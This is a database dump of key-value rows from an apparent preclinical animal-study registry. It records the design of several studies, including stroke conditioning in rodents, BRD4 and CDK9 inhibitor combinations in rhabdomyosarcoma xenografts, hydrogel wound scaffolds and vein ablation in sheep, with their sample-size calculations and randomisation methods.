	(7125,177,'study_arms','[{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"untreated MCA+ rats\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"remote ischemic conditioning MCA+ rats\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"untreated sham MCA- rats\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"remote ischemic conditioning sham MCA- rats\"},{\"type\":\"control\",\"number\":\"40\",\"intervention\":\"untreated MCA+ mice\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"remote ischemic conditioning MCA+ mice\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"untreated sham MCA- mice\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"remote ischemic conditioning sham MCA- mice\"}]','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7126,177,'randomisation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7127,177,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7128,177,'details_randomisation','\"stratified_randomisation\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7129,177,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7130,177,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7131,177,'placebo_controlled','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7132,177,'secondary_readout_parameter','\"Infarct volume (mm3) by volumetric histology at 48 hours after MCA occlusion. Brains will be extracted, fixed in ice-cold 10% neutral buffer formalin and shipped intact to the Coordinating Unit for centralized blinded determination of infarct volume. Consecutive sections (50 microM, 250 microM interval) will be stained by Cresyl violet 0.1%, infarct areas will be measured by ImageJ image processing software and infarct volume will be calculated by a dedicated 19-areas automated algorithm.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7133,177,'application_number','\"Animal ethics committee and project licence by Italian Ministry of Health is under way\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7134,177,'link_to_data','\"Pignataro G, Meller R, Inoue K, et al. In vivo and in vitro characterization of a novel neuroprotective strategy for stroke: ischemic postconditioning. J Cereb Blood Flow Metab. 2008 Feb;28(2):232-41.\\nBath PM, Macleod MR, Green AR. Emulating multicentre clinical stroke trials: a new paradigm for studying novel interventions in experimental models of stroke. Int J Stroke. 2009 Dec;4(6):471-9.\\nEngland TJ, Hedstrom A, O\'Sullivan S, et al. RECAST (Remote Ischemic Conditioning After Stroke Trial): A Pilot Randomized Placebo Controlled Phase II Trial in Acute Ischemic Stroke. Stroke. 2017 May;48(5):1412-1415.\\nHougaard KD, Hjort N, Zeidler D, et al. Remote ischemic perconditioning as an adjunct therapy to thrombolysis in patients with acute ischemic stroke: a randomized trial. Stroke. 2014 Jan;45(1):159-67\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7135,178,'placebo_controlled','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7136,178,'title','\"Confirmatory preclinical study of the anti-tumor efficacy of the BET bromodomain inhibitor JQ1 (BRD4i) and the cyclin dependent kinase 9 (CDK9) inhibitor CDKI-73 (CDK9i) in PAX3:FOXO1 (P3F) fusion-positive rhabdomyosarcoma.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7137,178,'short_title','\"EpiCycle\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7138,178,'contact_name','\"Irene Teichert-von Luettichau, MD PhD\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7139,178,'contact_role','\"Coordinator, research group supervisor\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7140,178,'contact_email','\"irene.teichert-vonLuettichau@mri.tum.de\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7141,178,'financial_support','[\"grants\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7142,178,'start_date','\"2021-01-01\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7143,178,'end_date','\"2022-12-31\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7144,178,'study_status','\"not_started\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7145,178,'research_field','\"pediatric oncology, refractory sarcoma\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7146,178,'hypothesis','\"This proposed study builds on the hypothesis that combined treatment with JQ1 (BRD4i) and CDKI-73 (CDK9i) blocks proliferation, induces apoptosis and reduces in vivo tumor growth by repressing transcription of the fusion oncogene and disrupting key regulatory circuits in P3F+ RMS.\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7147,178,'intervention_type','\"compound\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7148,178,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7149,178,'primary_readout_parameter','\"Efficacy: Aim 1: Confirmation of the synergistic effects of simultaneous BRD4i and CDK9i on cell proliferation (ex-I) and apoptosis (ex-II) using P3F+ patient-derived RMS primary cultures using a multicentric design.\\nPrimary endpoint: Cell proliferation (ex-I)\\nAim 2: Validation of the synergistic effects of simultaneous BRD4i and CDK9i on the size of P3F+ RMS organoids (ex-III) and the size of patient-derived P3F+ RMS xenografts (ex-IV). The synergistic effects of BRD4i and CDK9i on tumor penetrance will be further evaluated in a model of microscopic mouse RMS (ex-V). Changes in the expression of P3F and its key co-regulators in human tumors treated with BRD4i and CDK9i will be evaluated as candidate biomarkers (ex-VI).\\nPrimary endpoints: (ex-III) Organoid growth. (ex-IV) Size of PDX tumors (ex-IV). (ex-V) Penetrance of Myf6Cre, Pax3:Fkhr, p53 null xenograft tumors. \"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7150,178,'secondary_readout_parameter','\"Secondary endpoint: Annexin V-positive\\/ PI-negative cells (ex-II). \"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7151,178,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7152,178,'no_exclusive_animal_use_details','\"Xenograft tumors established by injection of patient- derived RMS primary cell cultures into immunocompromised NSG (NOD.Cg-Prkdcscid Il2rgtm1Wjl\\/SzJ) mice. N=7 PDX cell cultures available. Aim 2 (ex-V): To simulate a microscopic disease state, 500 P3F+ mouse RMS cells will be injected into the gastrocnemius muscles of NOD.SCID mice according to previously established protocols. One P3F+ mouse RMS cell line obtained from a conditional RMS mouse model where P3F is activated by expression of Myf6-Cre and directed by the endogenous PAX3 promoter. A low-passage cell line was established from tumors in conditional P3F+\\/+ mice.\\nPatient-derived RMS primary cell cultures were derived from tumor biopsies obtained from 7 individual patients with RMS. The presence of the disease-defining fusion oncogene P3F was previously confirmed in all PDX lines.\\nFor mouse experiments, recipient mice will be 2-3 months old at the time of injection. Equal numbers of male and female mice will be used and randomly assigned to treatment groups.\\nCells will be stored in Cryostor medium in liquid nitrogen according to standard procedures.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7153,178,'species','\"mouse\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7154,178,'strain','\"1) NSG (NOD.Cg-Prkdcscid Il2rgtm1Wjl\\/SzJ) mice\\n2) NOD.SCID mice\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7155,178,'sex','\"both\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7156,178,'experimental_design','\"Xenograft tumors established by injection of patient- derived RMS primary cell cultures into immunocompromised NSG (NOD.Cg-Prkdcscid Il2rgtm1Wjl\\/SzJ) mice. \\nTo simulate a microscopic disease state, 500 P3F+ mouse RMS cells will be injected into the gastrocnemius muscles of NOD.SCID mice according to previously established protocols. One P3F+ mouse RMS cell line obtained from a conditional RMS mouse model where P3F is activated by expression of Myf6-Cre and directed by the endogenous PAX3 promoter. A low-passage cell line was established from tumors in conditional P3F+\\/+ mice.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7157,178,'sample_size_calculation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7158,178,'sample_size_calculation_details','\"The following assumptions were made to calculate sample size:\\nFor cell proliferation:\\n\\u2022 mean values: 100% (vehicle only), 90% (BRD4i), 90% (CDK9i), 50% (combination therapy)\\n\\u2022 within-group standard deviation: 15%\\n\\u2022 correlation within cell line: 0.3\\n\\u2022 test for synergistic effect (interaction between treatments), linear\\nmixed model\\nSeven cell lines are needed; each line will be exposed to all 4 treatment\\noptions (power 80%, significance level 5%, two-sided test, based on simulations)\\nFor changes in PDX xenograft size and growth of organoids:\\n\\u2022 mean values: 0% (vehicle only), 10% (BRD4i), 10% (CDK9i), 50% (combination therapy)\\n\\u2022 within-group standard deviation: 15%\\n\\u2022 correlation within cell line: 0.3\\n\\u2022 test for synergistic effect (interaction between treatments), linear\\nmixed model\\nSeven cell lines are needed; xenografts obtained from each line will be\\nexposed to all 4 treatment options (power 80%, significance level 5%, two-sided test, based on simulations)\\nFor tumor penetrance (only one cell line available):\\n\\u2022 penetrance probabilities within 4 months after injection: 90% (vehicle only), 80% (BRD4i), 80% (CDK9i), 15% (combination therapy)\\n\\u2022 translating to hazard rates (exponential distribution) of 0.58 (vehicle only), 0.40 (BRD4i), 0.40 (CDK9i) and 0.04 (combination therapy)\\n\\u2022 test for synergistic effect (interaction between treatments), Cox regression model\\nTwenty mice are needed per group, eighty overall (power 80%, significance level 5%, two-sided test, based on simulations)\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7159,178,'sum_of_animals','\"248 total in both arms\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7160,178,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7161,178,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7162,178,'has_embargo','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7163,178,'randomisation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7164,178,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7165,178,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7166,178,'study_centre','[{\"name\":\"P\\u00e4diatrische H\\u00e4matologie\\/ Onkologie, Kinderklinik M\\u00fcnchen-Schwabing der M\\u00fcnchenklinik und Klinikum rechts der Isar der Technischen Universit\\u00e4t M\\u00fcnchen, Childrens Cancer Research Center\",\"city\":\"Munich\",\"country\":\"DE\"},{\"name\":\"Zentrum f\\u00fcr Kinder und Jugen\",\"city\":\"Freiburg\",\"country\":\"DE\"},{\"name\":\"Hopp Children\\u2019s Cancer Center Heidelberg (KiTZ), German Cancer Research Center (DKFZ)\",\"city\":\"Heidelberg\",\"country\":\"DE\"},{\"name\":\"Institut f\\u00fcr Medizinische Informatik, Statistik und Epidemiologie, Klinikum rechts der Isar, Technische Universit\\u00e4t M\\u00fcnchen,\",\"city\":\"Munich\",\"country\":\"DE\"},{\"name\":\"Department of General, Visceral, and Transplantation Surgery, University Hospital of the Ludwig-Maximilians- Universit\\u00e4t Munich\",\"city\":\"Munich\",\"country\":\"DE\"},{\"name\":\"Klinik f\\u00fcr P\\u00e4diatrie mit Schwerpunkt Onkologie und H\\u00e4matologie, Universit\\u00e4tsmedizin Berlin, Charit\\u00e9\",\"city\":\"Berlin\",\"country\":\"DE\"},{\"name\":\"Abteilung f\\u00fcr Onkologie, Universit\\u00e4ts- Kinderspital Z\\u00fcrich, Universit\\u00e4t Z\\u00fcrich\",\"city\":\"Zurich\",\"country\":\"DE\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7167,178,'study_arms','[{\"type\":\"intervention\",\"number\":\"A\",\"intervention\":\"7 PDX lines, exposure to CDKI-73 (CDK9i) only\"},{\"type\":\"intervention\",\"number\":\"B\",\"intervention\":\"7 PDX lines; exposure to JQ1 (BRD4i) only\"},{\"type\":\"intervention\",\"number\":\"C\",\"intervention\":\"7 PDX lines, exposure to JQ1 (BRD4i) and CDKI-73 (CDK9i)\"},{\"type\":\"control\",\"number\":\"D\",\"intervention\":\"7 PDX lines, exposure to vehicle only\"},{\"type\":\"intervention\",\"number\":\"112\",\"intervention\":\"Organoid growth, 7 PDX lines (Exposure to A;B;C; and D)\"},{\"type\":\"intervention\",\"number\":\"168\",\"intervention\":\"7 PDX mice, NSG (NOD.Cg-Prkdcscid Il2rgtm1Wjl\\/SzJ) mice, A-D, Size of PDX tumors\"},{\"type\":\"intervention\",\"number\":\"80\",\"intervention\":\"Penetrance of Myf6Cre, Pax3:Fkhr, p53 null xenograft tumors, A-D\"}]','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7168,178,'link_to_data','\"n.a.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7169,175,'sample_size_calculation_details','\"\\nExperiment 1\\n\\u2022\\tExperimental unit: 1 animal\\n\\u2022\\tSample size calculation:\\n\\u2022\\tParameter: relative risk to die (RR) before 16 months of age\\n\\u2022\\t\\u03b1 = 0.05 (two-tailed): This \\u03b1 is considered to be provide sufficient confidence for further development steps using this compound for treatment of HD. \\n\\u2022\\t\\u03b2 = 0.1: A power of 90% is considered to achieve sufficient confidence to avoid false negative results with a manageable number of animals. \\n\\u2022\\tSample size calculation by Fisher\\u2019s exact test to compare proportions, and the 16 months survival data for the heterozygouse (HET) Q175FDN mice and its wildtype (WT) littermates. (Probability to die until months 16, pWT \\u2248 0.2, pHET \\u2248 0.9). For our experiment for the (TreHET) in comparison to the untreated (VehHET) animals, a p of 0.55 is anticipated as realistic effect size. Using this assumptions, a group size of \\u226536 was calculated for the each of the HET groups . A sample size \\u2265 40 for the each HET group (untreated, treated) is suggested for the experiment.\\n\\u2022\\tAccording to Mendel\\u2019s roles and the applied breeding procedure (HETxHET) for each homozygouse genotype (wildtype (C) and homozygouse for mHTT (Hom)) approximately half of the number of heterozygouse animals is expected (\\u2248 40 per genotype) during breeding. Both homozygouse genotypes should be separately randomized 1:1 to PQ912 treatment or vihecle (see table below).\\n\\u2022\\tTotal number of animals to be used in experiment 1: \\u2265 160\\n\\u2022\\tDue to planned complete randomization of each litter slightly higher animal numbers may be expected which will give additional confidence.\\n\\u2022\\tNumber of animals in each experimental group:\\n1. VehC: \\u2248 20\\t4. TreHet \\u2265 40\\n2. TreC: \\u2248 20\\t5. VehHom: \\u2248 20\\n3. VehHet \\u2265 40\\t6. TreHom: \\u2248 20\\n\\u2022\\tStatistical methods to be used \\n\\u2022\\tFisher\\u2019s exact test to compare proportions\\n\\u2022\\tHierarchical testing (2 steps)\\n\\u2022\\tH0: VehC = VehHet, H1: VehC \\u2260 VehHet, if H1 is verified, go to 2. Power for this step = 99.8%.\\n\\u2022\\tH0: TreHet = VehHet, H1: TreHet \\u2260 VehHet\\n\\u2022\\tComparisons of homozygous groups (VehC vs. TreC, VehHom vs. TreHom) will be done as secondary analyses.\\n\\nExperiment 2\\n\\u2022\\tExperimental unit: 1 animal\\n\\u2022\\tSample size calculation:\\n\\u2022\\tParameter: striatal volume (mm3) at 9 months of age\\n\\u2022\\t\\u03b1 = 0.05 (two-tailed), \\u03b2 = 0.1\\n\\u2022\\tSample size calculation is based on a t- test to compare 2 independent groups (VehHet vs. TreHet) and the data presented by Southwell et al. for the heterozygous (HET) Q175FDN mice and its WT littermates. From these data an effect size of 1.32 was calculated.\\n\\u2022\\tFor the planned comparison of untreated (VehHET) treated (TreHET) heterozygous animals in this experiment an effect size 0.66 (half effect to normalization) is anticipated as realistic effect size. Using this assumptions a group size for each group of heterozygous animals of 50 was calculated. Taking 10 % early death into account in total 110 animals are necessary for both groups to achieve at least 50 mice per group at the age of 9 months for final evaluation.\\n\\u2022\\tAccording to Mendel\\u2019s roles and the applied breeding procedure (HETxHET) for each homozygouse genotype (wildtype (C) and homozygouse for mHTT (Hom)) approximately half of the number of heterozygouse animals is expected (\\u2248 27 per genotype) during breeding. Both homozygouse genotypes should be separately randomized 1:1 to PQ912 treatment or vihecle (see table below).\\n\\u2022\\tTotal number of animals to be used in experiment 2: \\u2248 220\\n\\u2022\\tNumber of animals in each experimental group:\\n1. VehC: \\u2248 28\\t4. TreHet \\u2265 55\\n2. TreC: \\u2248 27\\t5. VehHom: \\u2248 28\\n3. VehHet \\u2265 55\\t6. TreHom: \\u2248 27\\n\\u2022\\tStatistical methods to be used \\n\\u2022\\tMultiple regression with adjustment for gender and site\\n\\u2022\\tH0: TreHet = VehHet, H1: TreHet \\u2260 VehHet\\n\\u2022\\tComparisons of homozygous groups (VehC vs. TreC, VehHom vs. TreHom) will be done as secondary analyses.\\n\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7170,179,'title','\"Preparation of hydrogel composite scaffolds promoted wound healing in diabetic SD rats\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7171,179,'contact_name','\"Mariya EL Akkawi\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7172,179,'contact_role','\"executive researcher\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7173,179,'contact_email','\"mariyakkawi@outlook.com\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7174,179,'study_centre','[{\"name\":\"Sun Yat-Sen University\",\"city\":\"Guangzhou\",\"country\":\"CN\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7175,179,'financial_support','[\"grants\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7176,179,'start_date','\"2019-12-16\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7177,179,'end_date','\"2020-02-20\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7178,179,'study_status','\"active\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7179,179,'research_field','\"plastic surgery\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7180,179,'hypothesis','\"In this preclinical study, we prepared the scaffolds with microspheres inoculated with adipose stem cells (hadsc), and studied whether the prepared materials can be used as dressings to promote the repair of skin wounds in diabetic rats.\"','2022-03-31 13:23:48','2022-03-31 13:23:51'),
	(7181,179,'intervention_type','\"delivery_method\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7182,179,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7183,179,'primary_readout_parameter','\"Efficacy: The end point of the experiment: The rats will be executed on the 7th, 10th, 14th and 21st day after application of prepared materials on the wound . Tissue sample will be collected and stained by HE and Masson staining to observe the new tissue growth and collagen content.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7184,179,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7185,179,'species','\"rat\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7186,179,'strain','\"CD(SD)IGS Rats\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7187,179,'sex','\"male\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7188,179,'experimental_design','\"CD(SD)IGS Rats\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7189,179,'sample_size_calculation','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7190,179,'sum_of_animals','\"12\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7191,179,'study_arms','[{\"type\":\"other\",\"number\":\"3\",\"intervention\":\"at day 7, will be executed and tissue sample collected and stained by HE and Masson staining to observe the new tissue growth and collagen content.\"},{\"type\":\"other\",\"number\":\"3\",\"intervention\":\"at day 10, will be executed and tissue sample collected and stained by HE and Masson staining to observe the new tissue growth and collagen content.\"},{\"type\":\"other\",\"number\":\"3\",\"intervention\":\"at day 14, will be executed and tissue sample collected and stained by HE and Masson staining to observe the new tissue growth and collagen content.\"},{\"type\":\"other\",\"number\":\"3\",\"intervention\":\"at day 21, will be executed and tissue sample collected and stained by HE and Masson staining to observe the new tissue growth and collagen content.\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7192,179,'has_embargo','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7193,179,'randomisation','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7194,179,'why_no_randomisation','\"There would be 4 wounds created in each rat and each wound will be treated with 1: empty 2: ADSC(adipose derived stem cell) 3: scaffold 4: ADSC scaffold. Scaffold are hydrogel composite three-dimensional porous electrospun fiber scaffolds. Thus randomization was not performed. \"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7195,179,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7196,179,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7197,179,'placebo_controlled','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7198,162,'intervention_type','\"other\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7199,162,'other_intervention_type','\"Protocol for disinfection\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7200,162,'secondary_readout_parameter','\"Histologic examination of new tissue formation\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7201,162,'sample_size_calculation_details','\"A total number of 108 root Canals  (18 in each group) is calculated using Epicalc program version 1.02 assuming a power of 80 % and alpha=0.05. The sample size is based on presence of periapical healing for root  in group  B and A group was (81.25%) and (43.75%);\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7202,162,'experimental_design','\"Beagle dogs aged 5-6 monthes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7203,162,'yes_blinded_intervention_how_details','\"Seldom choice of dog but the investigator know which treatment is performed to each dog\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7204,162,'has_embargo','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7205,180,'title','\"The damage of venous wall after endovenous laser ablation, mechanical occlusion chemically\\nassisted ablation and cyanoacrylate embolization: an experimental study\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7206,180,'contact_name','\"Sergey Markin\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7207,180,'contact_role','\"Co-investigator\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7208,180,'contact_email','\"89052029192@rambler.ru\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7209,180,'study_centre','[{\"name\":\"Surgut State University \",\"city\":\"Surgut\",\"country\":\"RU\"}]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7210,180,'financial_support','[\"grants\"]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7211,180,'start_date','\"\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7212,180,'end_date','\"\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7213,180,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7214,180,'research_field','\"Surgery\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7215,180,'hypothesis','\"Thermal methods (laser obliteration and radiofrequency obliteration) are most traumatic for the venous wall and surrounding tissues. Mechanochemical obliteration and adhesive obliteration are not accompanied by damage to surrounding tissues and provide reliable closure of veins. Glue biodegradable in the delayed postoperative period.\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7216,180,'intervention_type','\"surgery\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7217,180,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7218,180,'primary_readout_parameter','\"Safety: The frequency of damage to surrounding tissue\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7219,180,'secondary_readout_parameter','\"Endothelial preservation.\\n% residual collagen in the venous wall.\\nThe frequency of formation of granulomas of foreign bodies\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7220,180,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7221,180,'species','\"sheep\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7222,180,'sex','\"both\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7223,180,'experimental_design','\"The wall of the veins of the lower extremities\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7224,180,'sample_size_calculation','\"no\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7225,180,'sum_of_animals','\"15\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7226,180,'study_arms','[{\"type\":\"intervention\",\"number\":\"1\",\"intervention\":\"Laser obliteration radial fiber\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"Laser obliteration cylinder fiber\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"mechanochemical obliteration\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"glue obliteration\"}]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7227,180,'randomisation','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7228,180,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7229,180,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7230,180,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7231,180,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7232,180,'placebo_controlled','\"no\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7233,180,'application_number','\"local ethics committee Surgut State University, Surgut, Russia. Protocol  #1016\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7234,180,'has_embargo','\"no\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7235,181,'title','\"Tetrabenazine-induced hypolocomotion in rats repeteadly treated with PDE10A inhibitor MP-10\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7236,181,'short_title','\"MP10 repetead\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7237,181,'contact_name','\"Ilya Sukhanov\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7238,181,'contact_role','\"executive researcher\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7239,181,'contact_email','\"ilia.sukhanov@gmail.com\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7240,181,'study_centre','[{\"name\":\"Institute of Pharmacology, Pavlov First Saint Petersburg State Medical University. Saint Petersburg. Russian Federation\",\"city\":\"St. Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7241,181,'financial_support','[\"grants\"]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7242,181,'start_date','\"2020-01-14\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7243,181,'end_date','\"2020-01-20\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7244,181,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:49','2022-03-31 13:23:59'),
	(7245,181,'research_field','\"neuroscience\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7246,181,'hypothesis','\"Repetead treatment with PDE10A inhibitors results in the development of tolerance to the stimulate action of these compounds\"','2022-03-31 13:23:49','2022-03-31 13:23:59'),
	(7247,181,'intervention_type','\"compound\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7248,181,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7249,181,'primary_readout_parameter','\"Efficacy: efficacy based on horizontal locomotor activity (number of ambulations) after acute administration of MP-10\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7250,181,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7251,181,'species','\"rat\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7252,181,'strain','\"Wistar \"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7253,181,'sex','\"male\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7254,181,'experimental_design','\"The rats treated with tetrabenazine (3 mg\\/kg, i.p.) 30 min before the start of locomotor activity assessment\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7255,181,'sample_size_calculation','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7256,181,'sample_size_calculation_details','\"Effect Size f = 0.613 alpha = 0.01 beta = 0.20 power = 0.80 We expect no drop-outs\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7257,181,'sum_of_animals','\"33 \"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7258,181,'study_arms','[{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"Vehicle treated + Vehicle during test\"},{\"type\":\"control\",\"number\":\"11\",\"intervention\":\"Vehicle treated + MP-10 during test\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"MP-10 + MP-10 during test\"}]','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7259,181,'randomisation','\"yes\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7260,181,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7261,181,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
	(7262,181,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:49','2022-03-31 13:23:49'),
